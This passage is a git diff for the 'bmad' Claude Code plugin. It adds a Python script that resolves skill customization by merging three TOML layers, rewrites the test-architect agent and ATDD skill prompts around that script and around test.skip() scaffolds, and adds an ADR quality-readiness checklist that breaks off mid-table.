v1.4.0 | 2026-03-29 | 2026-03-30 | | [CIS](https://github.com/bmad-code-org/bmad-module-creative-intelligence-suite) | v0.1.9 | 2026-03-18 | 2026-03-30 | | [GDS](https://github.com/bmad-code-org/bmad-module-game-dev-studio) | v0.2.2 | 2026-03-16 | 2026-03-30 | diff --git a/package.json b/package.json index c0a389d..1c88e1c 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "bmad-plugin", - "version": "6.3.0.0", + "version": "6.3.0.1", "type": "module", "scripts": { "prepare": "husky", diff --git a/plugins/bmad/.claude-plugin/plugin.json b/plugins/bmad/.claude-plugin/plugin.json index 27519e3..1ca1cc7 100644 --- a/plugins/bmad/.claude-plugin/plugin.json +++ b/plugins/bmad/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "bmad", - "version": "6.3.0.0", + "version": "6.3.0.1", "description": "BMAD Method - Breakthrough Method for Agile AI-Driven Development", "author": { "name": "PabloLION", diff --git a/plugins/bmad/agents/bmad-tea.md b/plugins/bmad/agents/bmad-tea.md index ec065be..64d46d0 100644 --- a/plugins/bmad/agents/bmad-tea.md +++ b/plugins/bmad/agents/bmad-tea.md @@ -3,42 +3,47 @@ name: bmad-tea description: Master Test Architect and Quality Advisor. Use when the user asks to talk to Murat or requests the Test Architect. --- -# Murat - -## Overview +## On Activation -This skill provides a Master Test Architect and Quality Advisor specializing in risk-based testing, fixture architecture, ATDD, API testing, backend services, UI automation, CI/CD governance, and scalable quality gates. Act as Murat — data-driven, strong opinions weakly held, speaking in risk calculations and impact assessments. +### Available Scripts -## Identity +- **`scripts/resolve-customization.py`** -- Resolves customization from three-layer TOML merge (user > team > defaults). Outputs JSON. -Test architect specializing in risk-based testing, fixture architecture, ATDD, API testing, backend services, UI automation, CI/CD governance, and scalable quality gates. Equally proficient in pure API/service-layer testing (pytest, JUnit, Go test, xUnit, RSpec) as in browser-based E2E testing (Playwright, Cypress), consumer driven contract testing (Pact) and performance/load/chaos testing (k6). Supports GitHub Actions, GitLab CI, Jenkins, Azure DevOps, and Harness CI platforms. +### Step 1: Resolve Activation Customization -## Communication Style +Resolve `persona`, `inject`, `additional_resources`, and `menu` from customization: +Run: `python3 scripts/resolve-customization.py bmad-tea --key persona --key inject --key additional_resources --key menu` +Use the JSON output as resolved values. -Blends data with gut instinct. "Strong opinions, weakly held" is their mantra. Speaks in risk calculations and impact assessments. +### Step 2: Apply Customization -## Principles +1. **Adopt persona** -- You are `{persona.displayName}`, `{persona.title}`. + Embody `{persona.identity}`, speak in the style of + `{persona.communicationStyle}`, and follow `{persona.principles}`. +2. **Inject before** -- If `inject.before` is not empty, read and + incorporate its content as high-priority context. +3. **Load resources** -- If `additional_resources` is not empty, read + each listed file and incorporate as reference context. -- Risk-based testing - depth scales with impact -- Quality gates backed by data -- Tests mirror usage patterns (API, UI, or both) -- Flakiness is critical technical debt -- Tests first AI implements suite validates -- Calculate risk vs value for every testing decision -- Prefer lower test levels (unit > integration > E2E) when possible -- API tests are first-class citizens, not just UI support +You must fully embody this persona so the user gets the best experience and help they need. Do not break character until the user dismisses this persona. When the user calls a skill, this persona must carry through and remain active. ## Critical Actions -- Consult `{project-root}/_bmad/tea/agents/bmad-tea/resources/tea-index.csv` to select knowledge fragments under `knowledge/` and load only the files needed for the current task -- Load the referenced fragment(s) from `{project-root}/_bmad/tea/agents/bmad-tea/resources/knowledge/` before giving recommendations +- Consult `./resources/tea-index.csv` to select knowledge fragments under `resources/knowledge/` and load only the files needed for the current task +- Load the referenced fragment(s) from `./resources/knowledge/` before giving recommendations - Cross-check recommendations with the current official Playwright, Cypress, Pact, k6, pytest, JUnit, Go test, and CI platform documentation -You must fully embody this persona so the user gets the best experience and help they need, therefore its important to remember you must not break character until the users dismisses this persona. +### Step 3: Load Config, Greet, and Present Capabilities -When you are in this persona and the user calls a skill, this persona must carry through and remain active. +1. Load config from `{project-root}/_bmad/tea/config.yaml` and resolve: + - Use `{user_name}` for greeting + - Use `{communication_language}` for all communications + - Use `{document_output_language}` for output documents +2. **Load project context** -- Search for `**/project-context.md`. If found, load as foundational reference for project standards and conventions. If not found, continue without it. +3. Greet `{user_name}` warmly by name as `{persona.displayName}`, speaking in `{communication_language}`. Remind the user they can invoke the `bmad-help` skill at any time for advice. +4. **Build and present the capabilities menu.** Start with the base table below. If resolved `menu` items exist, merge them: matching codes replace the base item; new codes add to the table. Present the final menu. -## Capabilities +#### Capabilities | Code | Description | Skill | | ---- | ---------------------------------------------------------------------------------------------------------------------------------- | ------------------------- | @@ -47,24 +52,11 @@ When you are in this persona and the user calls a skill, this persona must carry | AT | ATDD: Generate failing acceptance tests plus an implementation checklist before development | bmad-testarch-atdd | | TA | Test Automation: Generate prioritized API/E2E tests, fixtures, and DoD summary for a story or feature | bmad-testarch-automate | | TD | Test Design: Risk assessment plus coverage strategy for system or epic scope | bmad-testarch-test-design | -| TR | Trace Requirements: Map requirements to tests (Phase 1) and make quality gate decision (Phase 2) | bmad-testarch-trace | +| TR | Trace Coverage: Map requirements, specs, or inferred journeys to tests (Phase 1) and make quality gate decision (Phase 2) | bmad-testarch-trace | | NR | Non-Functional Requirements: Assess NFRs and recommend actions | bmad-testarch-nfr | | CI | Continuous Integration: Recommend and Scaffold CI/CD quality pipeline | bmad-testarch-ci | | RV | Review Tests: Perform a quality check against written tests using comprehensive knowledge base and best practices | bmad-testarch-test-review | -## On Activation - -1. **Load config via bmad-init skill** — Store all returned vars for use: - - Use `{user_name}` from config for greeting - - Use `{communication_language}` from config for all communications - - Store any other config variables as `{var-name}` and use appropriately - -2. **Continue with steps below:** - - **Load project context** — Search for `**/project-context.md`. If found, load as foundational reference for project standards and conventions. If not found, continue without it. - - **Greet and present capabilities** — Greet `{user_name}` warmly by name, always speaking in `{communication_language}` and applying your persona throughout the session. - -3. Remind the user they can invoke the `bmad-help` skill at any time for advice and then present the capabilities table from the Capabilities section above. - - **STOP and WAIT for user input** — Do NOT execute menu items automatically. Accept a capability code, skill name, or fuzzy description match from the Capabilities table. +**STOP and WAIT for user input** -- Do NOT execute menu items automatically. Accept a capability code, skill name, or fuzzy description match from the Capabilities table. **CRITICAL Handling:** When user responds with a capability code (e.g., TMT, TF, AT), an exact registered skill name, or a fuzzy description match (e.g., "teach me testing", "continuous integration", "test framework"), invoke the corresponding skill from the Capabilities table. DO NOT invent capabilities on the fly or attempt to map arbitrary numeric inputs to skills. diff --git a/plugins/bmad/skills/bmad-teach-me-testing/SKILL.md b/plugins/bmad/skills/bmad-teach-me-testing/SKILL.md index 720f130..796de61 100644 --- a/plugins/bmad/skills/bmad-teach-me-testing/SKILL.md +++ b/plugins/bmad/skills/bmad-teach-me-testing/SKILL.md @@ -3,4 +3,24 @@ name: bmad-teach-me-testing description: 'Teach testing progressively through structured sessions. Use when user says "lets learn testing" or "I want to study test practices"' --- +## Available Scripts + +- **`scripts/resolve-customization.py`** -- Resolves customization from three-layer TOML merge (user > team > defaults). Outputs JSON. + +## Resolve Customization + +Resolve `inject` and `additional_resources` from customization: +Run: `python3 scripts/resolve-customization.py bmad-teach-me-testing --key inject --key additional_resources` +Use the JSON output as resolved values. + +1. **Inject before** -- If `inject.before` resolved to a non-empty value, prepend it to your active instructions and follow it. +2. **Available resources** -- Note the `additional_resources` list. Do not read these files now; they are available for the injected prompt or workflow steps to reference when needed. + Follow the instructions in [workflow.md](workflow.md). + +## Post-Workflow Customization + +After the workflow completes, resolve `inject.after` from customization: +Run: `python3 scripts/resolve-customization.py bmad-teach-me-testing --key inject.after` + +If resolved `inject.after` is not empty, append it to your active instructions and follow it. diff --git a/plugins/bmad/skills/bmad-teach-me-testing/customize.toml b/plugins/bmad/skills/bmad-teach-me-testing/customize.toml new file mode 100644 index 0000000..1d79716 --- /dev/null +++ b/plugins/bmad/skills/bmad-teach-me-testing/customize.toml @@ -0,0 +1,27 @@ +# ────────────────────────────────────────────────────────────────── +# Customization Defaults: bmad-teach-me-testing +# This file defines all customizable fields for this skill. +# DO NOT EDIT THIS FILE -- it is overwritten on every update. +# +# HOW TO CUSTOMIZE: +# 1. Create an override file with only the fields you want to change: +# _bmad/customizations/bmad-teach-me-testing.toml (team/org, committed to git) +# _bmad/customizations/bmad-teach-me-testing.user.toml (personal, gitignored) +# 2. Copy just the fields you want to override into your file. +# Unmentioned fields inherit from this defaults file. +# 3. For array fields (like additional_resources), include the +# complete array you want -- arrays replace, not append. +# ────────────────────────────────────────────────────────────────── + +# Additional resource files loaded into workflow context on activation. +# Paths are relative to {project-root}. +additional_resources = [] + +# ────────────────────────────────────────────────────────────────── +# Injected prompts - content woven into the workflow's context. +# 'before' loads before the workflow begins. +# 'after' loads after the workflow completes (pre-finalize). +# ────────────────────────────────────────────────────────────────── +[inject] +before = "" +after = "" diff --git a/plugins/bmad/skills/bmad-teach-me-testing/scripts/resolve-customization.py b/plugins/bmad/skills/bmad-teach-me-testing/scripts/resolve-customization.py new file mode 100755 index 0000000..d9994a5 --- /dev/null +++ b/plugins/bmad/skills/bmad-teach-me-testing/scripts/resolve-customization.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python3 +# /// script +# requires-python = ">=3.11" +# /// +"""Resolve customization for a BMad skill using three-layer TOML merge. + +Reads customization from three layers (highest priority first): + 1. {project-root}/_bmad/customizations/{name}.user.toml (personal, gitignored) + 2. {project-root}/_bmad/customizations/{name}.toml (team/org, committed) + 3. ./customize.toml (skill defaults) + +Outputs merged JSON to stdout. Errors go to stderr. + +Usage: + python ./scripts/resolve-customization.py {skill-name} + python ./scripts/resolve-customization.py {skill-name} --key persona + python ./scripts/resolve-customization.py {skill-name} --key persona.displayName --key inject +""" + +from __future__ import annotations + +import argparse +import json +import sys +import tomllib +from pathlib import Path +from typing import Any + + +def find_project_root(start: Path) -> Path | None: + """Walk up from *start* looking for a directory containing ``_bmad/`` or ``.git``.""" + current = start.resolve() + while True: + if (current / "_bmad").is_dir() or (current / ".git").exists(): + return current + parent = current.parent + if parent == current: + return None + current = parent + + +def load_toml(path: Path) -> dict[str, Any]: + """Return parsed TOML or empty dict if the file doesn't exist.""" + if not path.is_file(): + return {} + try: + with open(path, "rb") as f: + return tomllib.load(f) + except (tomllib.TOMLDecodeError, OSError) as exc: + print(f"warning: failed to parse {path}: {exc}", file=sys.stderr) + return {} + + +# --------------------------------------------------------------------------- +# Merge helpers +# --------------------------------------------------------------------------- + +def _is_menu_array(value: Any) -> bool: + """True when *value* is a non-empty list where ALL items are dicts with a ``code`` key.""" + return ( + isinstance(value, list) + and len(value) > 0 + and all(isinstance(item, dict) and "code" in item for item in value) + ) + + +def merge_menu(base: list[dict], override: list[dict]) -> list[dict]: + """Merge-by-code: matching codes replace; new codes append.""" + result_by_code: dict[str, dict] = {item["code"]: dict(item) for item in base if "code" in item} + for item in override: + if "code" not in item: + print(f"warning: menu item missing 'code' key, skipping: {item}", file=sys.stderr) + continue + result_by_code[item["code"]] = dict(item) + return list(result_by_code.values()) + + +def deep_merge(base: dict[str, Any], override: dict[str, Any]) -> dict[str, Any]: + """Recursively merge *override* into *base*. + + Rules: + - Tables (dicts): sparse override -- recurse, unmentioned keys kept. + - ``[[menu]]`` arrays (items with ``code`` key): merge-by-code. + - All other arrays: atomic replace. + - Scalars: override wins. + """ + merged = dict(base) + for key, over_val in override.items(): + base_val = merged.get(key) + + if isinstance(over_val, dict) and isinstance(base_val, dict): + merged[key] = deep_merge(base_val, over_val) + elif _is_menu_array(over_val) and _is_menu_array(base_val): + merged[key] = merge_menu(base_val, over_val) # type: ignore[arg-type] + else: + merged[key] = over_val + + return merged + + +# --------------------------------------------------------------------------- +# Key extraction +# --------------------------------------------------------------------------- + +def extract_key(data: dict[str, Any], dotted_key: str) -> Any: + """Retrieve a value by dotted path (e.g. ``persona.displayName``).""" + parts = dotted_key.split(".") + current: Any = data + for part in parts: + if isinstance(current, dict) and part in current: + current = current[part] + else: + return None + return current + + +# --------------------------------------------------------------------------- +# Main +# --------------------------------------------------------------------------- + +def main() -> None: + parser = argparse.ArgumentParser( + description="Resolve BMad skill customization (three-layer TOML merge).", + epilog=( + "Resolution priority: user.toml > team.toml > skill defaults.\n" + "Output is JSON. Use --key to request specific fields (JIT resolution)." + ), + ) + parser.add_argument( + "skill_name", + help="Skill identifier (e.g. bmad-agent-pm, bmad-product-brief)", + ) + parser.add_argument( + "--key", + action="append", + dest="keys", + metavar="FIELD", + help="Dotted field path to resolve (repeatable). Omit for full dump.", + ) + args = parser.parse_args() + + # Locate the skill's own customize.toml (one level up from scripts/) + script_dir = Path(__file__).resolve().parent + skill_dir = script_dir.parent + defaults_path = skill_dir / "customize.toml" + + # Locate project root for override files + project_root = find_project_root(Path.cwd()) + if project_root is None: + # Try from the skill directory as fallback + project_root = find_project_root(skill_dir) + + # Load three layers (lowest priority first, then merge upward) + defaults = load_toml(defaults_path) + + team: dict[str, Any] = {} + user: dict[str, Any] = {} + if project_root is not None: + customizations_dir = project_root / "_bmad" / "customizations" + team = load_toml(customizations_dir / f"{args.skill_name}.toml") + user = load_toml(customizations_dir / f"{args.skill_name}.user.toml") + + # Merge: defaults <- team <- user + merged = deep_merge(defaults, team) + merged = deep_merge(merged, user) + + # Output + if args.keys: + result = {} + for key in args.keys: + value = extract_key(merged, key) + if value is not None: + result[key] = value + json.dump(result, sys.stdout, indent=2, ensure_ascii=False) + else: + json.dump(merged, sys.stdout, indent=2, ensure_ascii=False) + + # Ensure trailing newline for clean terminal output + print() + + +if __name__ == "__main__": + main() diff --git a/plugins/bmad/skills/bmad-testarch-atdd/SKILL.md b/plugins/bmad/skills/bmad-testarch-atdd/SKILL.md index a280777..ed4d673 100644 --- a/plugins/bmad/skills/bmad-testarch-atdd/SKILL.md +++ b/plugins/bmad/skills/bmad-testarch-atdd/SKILL.md @@ -1,6 +1,26 @@ --- name: bmad-testarch-atdd -description: 'Generate failing acceptance tests using TDD cycle. Use when the user says "lets write acceptance tests" or "I want to do ATDD"' +description: 'Generate red-phase acceptance test scaffolds using the TDD cycle. Use when the user says "lets write acceptance tests" or "I want to do ATDD"' --- +## Available Scripts + +- **`scripts/resolve-customization.py`** -- Resolves customization from three-layer TOML merge (user > team > defaults). Outputs JSON. + +## Resolve Customization + +Resolve `inject` and `additional_resources` from customization: +Run: `python3 scripts/resolve-customization.py bmad-testarch-atdd --key inject --key additional_resources` +Use the JSON output as resolved values. + +1. **Inject before** -- If `inject.before` resolved to a non-empty value, prepend it to your active instructions and follow it. +2. **Available resources** -- Note the `additional_resources` list. Do not read these files now; they are available for the injected prompt or workflow steps to reference when needed. + Follow the instructions in [workflow.md](workflow.md). + +## Post-Workflow Customization + +After the workflow completes, resolve `inject.after` from customization: +Run: `python3 scripts/resolve-customization.py bmad-testarch-atdd --key inject.after` + +If resolved `inject.after` is not empty, append it to your active instructions and follow it. diff --git a/plugins/bmad/skills/bmad-testarch-atdd/atdd-checklist-template.md b/plugins/bmad/skills/bmad-testarch-atdd/atdd-checklist-template.md index f9fee73..ed93b1f 100644 --- a/plugins/bmad/skills/bmad-testarch-atdd/atdd-checklist-template.md +++ b/plugins/bmad/skills/bmad-testarch-atdd/atdd-checklist-template.md @@ -3,6 +3,14 @@ stepsCompleted: [] lastStep: '' lastSaved: '' workflowType: 'testarch-atdd' +storyId: '{story_id}' +storyKey: '{story_key}' +storyFile: '{story_file}' +atddChecklistPath: '{test_artifacts}/atdd-checklist-{story_key}.md' +generatedTestFiles: + - '{api_test_file_path}' + - '{e2e_test_file_path}' + - '{component_test_file_path}' inputDocuments: [] --- @@ -34,7 +42,19 @@ inputDocuments: [] --- -## Failing Tests Created (RED Phase) +## Story Integration Metadata + +- **Story ID:** `{story_id}` +- **Story Key:** `{story_key}` +- **Story File:** `{story_file}` +- **Checklist Path:** `{test_artifacts}/atdd-checklist-{story_key}.md` +- **Generated Test Files:** `{e2e_test_file_path}`, `{api_test_file_path}`, `{component_test_file_path}` + +If this story came from BMM `create-story`, mirror these artifact paths into the story's `Dev Notes` so `dev-story` can discover and activate the red-phase scaffolds. + +--- + +## Red-Phase Test Scaffolds Created ### E2E Tests ({e2e_test_count} tests) @@ -166,7 +186,7 @@ test('should do something', async ({ {fixtureName} }) => { ## Implementation Checklist -{Map each failing test to concrete implementation tasks that will make it pass} +{Map each scaffolded test to concrete implementation tasks that will make it pass} ### Test: {test_name_1} @@ -205,7 +225,7 @@ test('should do something', async ({ {fixtureName} }) => { ## Running Tests ```bash -# Run all failing tests for this story +# Run all activated tests for this story {test_command_all} # Run specific test file @@ -229,7 +249,7 @@ test('should do something', async ({ {fixtureName} }) => { **TEA Agent Responsibilities:** -- ✅ All tests written and failing +- ✅ All tests written as red-phase scaffolds with `test.skip()` - ✅ Fixtures and factories created with auto-cleanup - ✅ Mock requirements documented - ✅ data-testid requirements listed @@ -237,9 +257,9 @@ test('should do something', async ({ {fixtureName} }) => { **Verification:** -- All tests run and fail as expected -- Failure messages are clear and actionable -- Tests fail due to missing implementation, not test bugs +- All generated tests are present and marked with `test.skip()` +- Activation guidance is clear and actionable +- Any activated test fails due to missing implementation, not test bugs --- @@ -247,12 +267,13 @@ test('should do something', async ({ {fixtureName} }) => { **DEV Agent Responsibilities:** -1. **Pick one failing test** from implementation checklist (start with highest priority) -2. **Read the test** to understand expected behavior -3. **Implement minimal code** to make that specific test pass -4. **Run the test** to verify it now passes (green) -5. **Check off the task** in implementation checklist -6. **Move to next test** and repeat +1. **Pick one scaffolded test** from implementation checklist (start with highest priority) +2. **Remove `test.skip()`** for that test and confirm it fails first +3. **Read the test** to understand expected behavior +4. **Implement minimal code** to make that specific test pass +5. **Run the test** to verify it now passes (green) +6. **Check off the task** in implementation checklist +7. **Move to next test** and repeat **Key Principles:** @@ -297,14 +318,15 @@ test('should do something', async ({ {fixtureName} }) => { ## Next Steps -1. **Share this checklist and failing tests** with the dev workflow (manual handoff) -2. **Review this checklist** with team in standup or planning -3. **Run failing tests** to confirm RED phase: `{test_command_all}` +1. **Link this checklist and generated tests** into the story file `Dev Notes` / `ATDD Artifacts` section when a writable story file is available +2. **If the story file cannot be updated automatically**, share this checklist and generated tests with the dev workflow as a manual handoff +3. **Review this checklist** with team in standup or planning 4. **Begin implementation** using implementation checklist as guide -5. **Work one test at a time** (red → green for each) -6. **Share progress** in daily standup -7. **When all tests pass**, refactor code for quality -8. **When refactoring complete**, manually update story status to 'done' in sprint-status.yaml +5. **Activate one scaffold at a time** by removing `test.skip()` for the current task, then confirm it fails before implementing +6. **Work one activated test at a time** (red → green for each) +7. **Share progress** in daily standup +8. **When all activated tests pass**, refactor code for quality +9. **When refactoring complete**, manually update story status to 'done' in sprint-status.yaml --- @@ -325,25 +347,26 @@ See `tea-index.csv` for complete knowledge fragment mapping. ## Test Execution Evidence -### Initial Test Run (RED Phase Verification) +### Initial Scaffold Review / RED Verification -**Command:** `{test_command_all}` +**Command:** `{test_command_all}` (or a narrower command after removing `test.skip()` for the current task) **Results:** ``` -{paste_test_run_output_showing_all_tests_failing} +{paste_test_run_output_showing_scaffolds_skipped_or_activated_tests_failing} ``` **Summary:** - Total tests: {total_test_count} -- Passing: 0 (expected) -- Failing: {total_test_count} (expected) -- Status: ✅ RED phase verified +- Skipped: {total_test_count} (expected before activation) +- Activated RED tests: {activated_test_count} (expected after activation, before implementation) +- Passing: 0 before implementation (expected for activated tests) +- Status: ✅ Red-phase scaffolds verified **Expected Failure Messages:** -{list_expected_failure_messages_for_each_test} +{list_expected_skip_or_failure_states_for_each_test} --- @@ -364,7 +387,7 @@ See `tea-index.csv` for complete knowledge fragment mapping. - Ask in team standup - Tag @{tea_agent_username} in Slack/Discord - Refer to `./bmm/docs/tea-README.md` for workflow documentation -- Consult `_bmad/tea/agents/bmad-tea/resources/knowledge` for testing best practices +- Consult `./resources/knowledge` for testing best practices --- diff --git a/plugins/bmad/skills/bmad-testarch-atdd/checklist.md b/plugins/bmad/skills/bmad-testarch-atdd/checklist.md index 4e0eccd..5113f29 100644 --- a/plugins/bmad/skills/bmad-testarch-atdd/checklist.md +++ b/plugins/bmad/skills/bmad-testarch-atdd/checklist.md @@ -50,7 +50,7 @@ Before starting this workflow, verify: --- -## Step 3: Failing Tests Generated +## Step 3: Red-Phase Test Scaffolds Generated ### Test File Structure Created @@ -68,8 +68,8 @@ Before starting this workflow, verify: - [ ] One assertion per test (atomic test design) - [ ] No hard waits or sleeps (explicit waits only) - [ ] Network-first pattern applied (route interception BEFORE navigation) -- [ ] Tests fail initially (RED phase verified by local test run) -- [ ] Failure messages are clear and actionable +- [ ] Tests are generated as `test.skip()` scaffolds +- [ ] Activation guidance is documented for the current task ### API Tests (If Applicable) @@ -79,7 +79,7 @@ Before starting this workflow, verify: - [ ] HTTP status codes verified - [ ] Response body validation includes all required fields - [ ] Error cases tested (400, 401, 403, 404, 500) -- [ ] Tests fail initially (RED phase verified) +- [ ] Tests are generated as `test.skip()` scaffolds ### Component Tests (If Applicable) @@ -89,7 +89,7 @@ Before starting this workflow, verify: - [ ] Interaction testing covers user actions (click, hover, keyboard) - [ ] State management within component validated - [ ] Props and events tested -- [ ] Tests fail initially (RED phase verified) +- [ ] Tests are generated as `test.skip()` scaffolds ### Test Quality Validation @@ -144,7 +144,7 @@ Before starting this workflow, verify: ## Step 5: Implementation Checklist Created - [ ] Implementation checklist created with clear structure -- [ ] Each failing test mapped to concrete implementation tasks +- [ ] Each scaffolded test mapped to concrete implementation tasks - [ ] Tasks include: - [ ] Route/component creation - [ ] Business logic implementation @@ -170,12 +170,12 @@ Before starting this workflow, verify: ### ATDD Checklist Document Created -- [ ] Output file created at `{test_artifacts}/atdd-checklist-{story_id}.md` +- [ ] Output file created at `{test_artifacts}/atdd-checklist-{story_key}.md` - [ ] Document follows template structure from `atdd-checklist-template.md` - [ ] Document includes all required sections: - [ ] Story summary - [ ] Acceptance criteria breakdown - - [ ] Failing tests created (paths and line counts) + - [ ] Red-phase test scaffolds created (paths and line counts) - [ ] Data factories created - [ ] Fixtures created - [ ] Mock requirements @@ -184,15 +184,16 @@ Before starting this workflow, verify: - [ ] Red-green-refactor workflow - [ ] Execution commands - [ ] Next steps for DEV team -- [ ] Output shared with DEV workflow (manual handoff; not auto-consumed) +- [ ] Checklist frontmatter includes `storyId`, `storyKey`, `storyFile`, `atddChecklistPath`, and generated test file paths +- [ ] If a writable story file was provided, ATDD artifacts were linked back into story context +- [ ] If a story file could not be updated, manual handoff instructions are present -### All Tests Verified to Fail (RED Phase) +### Red-Phase Scaffolds Verified -- [ ] Full test suite run locally before finalizing -- [ ] All tests fail as expected (RED phase confirmed) -- [ ] No tests passing before implementation (if passing, test is invalid) -- [ ] Failure messages documented in ATDD checklist -- [ ] Failures are due to missing implementation, not test bugs +- [ ] All generated acceptance test scaffolds are marked with `test.skip()` +- [ ] No scaffold was emitted as an active passing test before implementation +- [ ] Activation guidance is documented: remove `test.skip()` for the current task, then confirm RED before implementing +- [ ] Any assumptions or expected failure reasons are documented in ATDD checklist - [ ] Test run output captured for reference ### Summary Provided @@ -279,9 +280,9 @@ Before starting this workflow, verify: All of the following must be true before marking this workflow as complete: - [ ] **Story acceptance criteria analyzed** and mapped to appropriate test levels -- [ ] **Failing tests created** at all appropriate levels (E2E, API, Component) +- [ ] **Red-phase test scaffolds created** at all appropriate levels (E2E, API, Component) - [ ] **Given-When-Then format** used consistently across all tests -- [ ] **RED phase verified** by local test run (all tests failing as expected) +- [ ] **RED phase verified** by scaffold generation plus task-by-task activation guidance - [ ] **Network-first pattern** applied to E2E tests with network requests - [ ] **Data factories created** using faker (no hardcoded test data) - [ ] **Fixtures created** with auto-cleanup in teardown diff --git a/plugins/bmad/skills/bmad-testarch-atdd/customize.toml b/plugins/bmad/skills/bmad-testarch-atdd/customize.toml new file mode 100644 index 0000000..499d19d --- /dev/null +++ b/plugins/bmad/skills/bmad-testarch-atdd/customize.toml @@ -0,0 +1,27 @@ +# ────────────────────────────────────────────────────────────────── +# Customization Defaults: bmad-testarch-atdd +# This file defines all customizable fields for this skill. +# DO NOT EDIT THIS FILE -- it is overwritten on every update. +# +# HOW TO CUSTOMIZE: +# 1. Create an override file with only the fields you want to change: +# _bmad/customizations/bmad-testarch-atdd.toml (team/org, committed to git) +# _bmad/customizations/bmad-testarch-atdd.user.toml (personal, gitignored) +# 2. Copy just the fields you want to override into your file. +# Unmentioned fields inherit from this defaults file. +# 3. For array fields (like additional_resources), include the +# complete array you want -- arrays replace, not append. +# ────────────────────────────────────────────────────────────────── + +# Additional resource files loaded into workflow context on activation. +# Paths are relative to {project-root}. +additional_resources = [] + +# ────────────────────────────────────────────────────────────────── +# Injected prompts - content woven into the workflow's context. +# 'before' loads before the workflow begins. +# 'after' loads after the workflow completes (pre-finalize). +# ────────────────────────────────────────────────────────────────── +[inject] +before = "" +after = "" diff --git a/plugins/bmad/skills/bmad-testarch-atdd/instructions.md b/plugins/bmad/skills/bmad-testarch-atdd/instructions.md index 40a738e..9e97015 100644 --- a/plugins/bmad/skills/bmad-testarch-atdd/instructions.md +++ b/plugins/bmad/skills/bmad-testarch-atdd/instructions.md @@ -2,14 +2,13 @@ # Acceptance Test-Driven Development (ATDD) -**Workflow ID**: `_bmad/tea/testarch/bmad-testarch-atdd` **Version**: 5.0 (Step-File Architecture) --- ## Overview -Generates **failing acceptance tests** before implementation (TDD red phase), plus an implementation checklist. Produces tests at appropriate levels (E2E/API/Component) with supporting fixtures and helpers. +Generates **red-phase acceptance test scaffolds** before implementation (TDD red phase), plus an implementation checklist. Produces tests at appropriate levels (E2E/API/Component) with supporting fixtures and helpers. --- diff --git a/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/adr-quality-readiness-checklist.md b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/adr-quality-readiness-checklist.md new file mode 100644 index 0000000..d6b5783 --- /dev/null +++ b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/adr-quality-readiness-checklist.md @@ -0,0 +1,377 @@ +# ADR Quality Readiness Checklist + +**Purpose:** Standardized 8-category, 29-criteria framework for evaluating system testability and NFR compliance during architecture review (Phase 3) and NFR assessment. + +**When to Use:** + +- System-level test design (Phase 3): Identify testability gaps in architecture +- NFR assessment workflow: Structured evaluation with evidence +- Gate decisions: Quantifiable criteria (X/29 met = PASS/CONCERNS/FAIL) + +**How to Use:** + +1. For each criterion, assess status: ✅ Covered / ⚠️ Gap / ⬜ Not Assessed +2. Document gap description if ⚠️ +3. Describe risk if criterion unmet +4. Map to test scenarios (what tests validate this criterion) + +--- + +## 1. Testability & Automation + +**Question:** Can we verify this effectively without manual toil? + +| # | Criterion | Risk if Unmet | Typical Test Scenarios (P0-P2) | +| --- | ------------------------------------------------------------------------------------------------------------------------------------------ | ---------------------------------------------- | ------------------------------------------------------------------------------------------------------- | +| 1.1 | **Isolation:** Can the service be tested with all downstream dependencies (DBs, APIs, Queues) mocked or stubbed? | Flaky tests; inability to test in isolation | P1: Service runs with mocked DB, P1: Service runs with mocked API, P2: Integration tests with real deps | +| 1.2 | **Headless Interaction:** Is 100% of the business logic accessible via API (REST/gRPC) to bypass the UI for testing? | Slow, brittle UI-based automation | P0: All core logic callable via API, P1: No UI dependency for critical paths | +| 1.3 | **State Control:** Do we have "Seeding APIs" or scripts to inject specific data states (e.g., "User with expired subscription") instantly? | Long setup times; inability to test edge cases | P0: Seed baseline data, P0: Inject edge case data states, P1: Cleanup after tests | +| 1.4 | **Sample Requests:** Are there valid and invalid cURL/JSON sample requests provided in the design doc for QA to build upon? | Ambiguity on how to consume the service | P1: Valid request succeeds, P1: Invalid request fails with clear error | + +**Common Gaps:** + +- No mock endpoints for external services (Athena, Milvus, third-party APIs) +- Business logic tightly coupled to UI (requires E2E tests for everything) +- No seeding APIs (manual database setup required) +- ADR has architecture diagrams but no sample API requests + +**Mitigation Examples:** + +- 1.1 (Isolation): Provide mock endpoints, dependency injection, interface abstractions +- 1.2 (Headless): Expose all business logic via REST/GraphQL APIs +- 1.3 (State Control): Implement `/api/test-data` seeding endpoints (dev/staging only) +- 1.4 (Sample Requests): Add "Example API Calls" section to ADR with cURL commands + +--- + +## 2. Test Data Strategy + +**Question:** How do we fuel our tests safely? + +| # | Criterion | Risk if Unmet | Typical Test Scenarios (P0-P2) | +| --- | ------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------- | ---------------------------------------------------------------------------------------------- | +| 2.1 | **Segregation:** Does the design support multi-tenancy or specific headers (e.g., x-test-user) to keep test data out of prod metrics? | Skewed business analytics; data pollution | P0: Multi-tenant isolation (customer A ≠ customer B), P1: Test data excluded from prod metrics | +| 2.2 | **Generation:** Can we use synthetic data, or do we rely on scrubbing production data (GDPR/PII risk)? | Privacy violations; dependency on stale data | P0: Faker-based synthetic data, P1: No production data in tests | +| 2.3 | **Teardown:** Is there a mechanism to "reset" the environment or clean up data after destructive tests? | Environment rot; subsequent test failures | P0: Automated cleanup after tests, P2: Environment reset script | + +**Common Gaps:** + +- No `customer_id` scoping in queries (cross-tenant data leakage risk) +- Reliance on production data dumps (GDPR/PII violations) +- No cleanup mechanism (tests leave data behind, polluting environment) + +**Mitigation Examples:** + +- 2.1 (Segregation): Enforce `customer_id` in all queries, add test-specific headers +- 2.2 (Generation): Use Faker library, create synthetic data generators, prohibit prod dumps +- 2.3 (Teardown): Auto-cleanup hooks in test framework, isolated test customer IDs + +--- + +## 3. Scalability & Availability + +**Question:** Can it grow, and will it stay up? + +| # | Criterion | Risk if Unmet | Typical Test Scenarios (P0-P2) | +| --- | --------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------- | ---------------------------------------------------------------------------------------------------- | +| 3.1 | **Statelessness:** Is the service stateless? If not, how is session state replicated across instances? | Inability to auto-scale horizontally 